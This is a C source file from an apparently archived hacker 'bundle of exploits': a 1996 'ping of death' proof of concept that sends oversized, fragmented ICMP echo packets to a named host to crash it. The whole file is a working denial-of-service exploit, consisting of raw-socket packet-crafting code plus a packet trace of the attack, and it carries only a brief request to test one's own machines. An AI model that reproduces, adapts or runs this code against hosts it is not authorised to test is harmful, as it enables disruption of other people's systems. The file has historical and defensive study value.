home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / pingexploit.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  7KB  |  168 lines

  1.  
  2.  
  3.  
  4. /*
  5. Since some people don't necessarily have Windows '95 boxes lying around,
  6. I wrote the following exploit program.  It requires a raw socket layer
  7. that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are out.
  8. It works fine on 4.4BSD systems.  It should work on Linux if you compile
  9. with -DREALLY_RAW.
  10.  
  11. Feel free to do with this what you want.  Please use this tool only to test
  12. your own machines, and not to crash others'.  Mike, would you put it up on
  13. your web page? [Jason: If he won't I will :) ]
  14.  
  15.   Bill
  16. */
  17. /*
  18.  * win95ping.c
  19.  *
  20.  * Simulate the evil win95 "ping -l 65510 buggyhost".
  21.  * version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
  22.  *
  23.  * This requires raw sockets that don't mess with the packet at all (other
  24.  * than adding the checksum).  That means that SunOS, Solaris, and
  25.  * BSD4.3-based systems are out.  BSD4.4 systems (FreeBSD, NetBSD,
  26.  * OpenBSD, BSDI) will work.  Linux might work, I don't have a Linux
  27.  * system to try it on.
  28.  *
  29.  * The attack from the Win95 box looks like:
  30.  * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
  31.  * 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
  32.  * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
  33.  * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
  34.  * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
  35.  * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
  36.  * 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+)
  37.  * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
  38.  * 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
  39.  * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
  40.  * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
  41.  * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
  42.  * 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
  43.  * 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
  44.  * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
  45.  * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
  46.  * 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
  47.  * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
  48.  * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
  49.  * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
  50.  * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
  51.  * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
  52.  * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
  53.  * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
  54.  * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
  55.  * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
  56.  * 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
  57.  * 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
  58.  * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
  59.  * 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
  60.  * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
  61.  * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
  62.  * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
  63.  * 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
  64.  * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
  65.  * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
  66.  * 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
  67.  * 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
  68.  * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
  69.  * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
  70.  * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
  71.  * 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
  72.  * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
  73.  * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
  74.  * 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
  75.  *
  76.  */
  77.  
  78. #include <stdio.h>
  79. #include <sys/types.h>
  80. #include <sys/socket.h>
  81. #include <netdb.h>
  82. #include <netinet/in.h>
  83. #include <netinet/in_systm.h>
  84. #include <netinet/ip.h>
  85. #include <netinet/ip_icmp.h>
  86.  
  87. /*
  88.  * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
  89.  * This is probably only Linux.
  90.  */
  91. #ifdef REALLY_RAW
  92. #define FIX(x)  htons(x)
  93. #else
  94. #define FIX(x)  (x)
  95. #endif
  96.  
  97. int
  98. main(int argc, char **argv)
  99. {
  100.         int s;
  101.         char buf[1500];
  102.         struct ip *ip = (struct ip *)buf;
  103.         struct icmp *icmp = (struct icmp *)(ip + 1);
  104.         struct hostent *hp;
  105.         struct sockaddr_in dst;
  106.         int offset;
  107.         int on = 1;
  108.  
  109.         bzero(buf, sizeof buf);
  110.  
  111.         if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
  112.                 perror("socket");
  113.                 exit(1);
  114.         }
  115.         if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  116.                 perror("IP_HDRINCL");
  117.                 exit(1);
  118.         }
  119.         if (argc != 2) {
  120.                 fprintf(stderr, "usage: %s hostname\n", argv[0]);
  121.                 exit(1);
  122.         }
  123.         if ((hp = gethostbyname(argv[1])) == NULL) {
  124.                 if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  125.                         fprintf(stderr, "%s: unknown host\n", argv[1]);
  126.                 }
  127.         } else {
  128.                 bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  129.         }
  130.         printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  131.         ip->ip_v = 4;
  132.         ip->ip_hl = sizeof *ip >> 2;
  133.         ip->ip_tos = 0;
  134.         ip->ip_len = FIX(sizeof buf);
  135.         ip->ip_id = htons(4321);
  136.         ip->ip_off = FIX(0);
  137.         ip->ip_ttl = 255;
  138.         ip->ip_p = 1;
  139.         ip->ip_sum = 0;                 /* kernel fills in */
  140.         ip->ip_src.s_addr = 0;          /* kernel fills in */
  141.  
  142.         dst.sin_addr = ip->ip_dst;
  143.         dst.sin_family = AF_INET;
  144.  
  145.         icmp->icmp_type = ICMP_ECHO;
  146.         icmp->icmp_code = 0;
  147.         icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
  148.                 /* the checksum of all 0's is easy to compute */
  149.  
  150.         for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  151.                 ip->ip_off = FIX(offset >> 3);
  152.                 if (offset < 65120)
  153.                         ip->ip_off |= FIX(IP_MF);
  154.                 else
  155.                         ip->ip_len = FIX(418);  /* make total 65538 */
  156.                 if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  157.                                         sizeof dst) < 0) {
  158.                         fprintf(stderr, "offset %d: ", offset);
  159.                         perror("sendto");
  160.                 }
  161.                 if (offset == 0) {
  162.                         icmp->icmp_type = 0;
  163.                         icmp->icmp_code = 0;
  164.                         icmp->icmp_cksum = 0;
  165.                 }
  166.         }
  167. }
  168.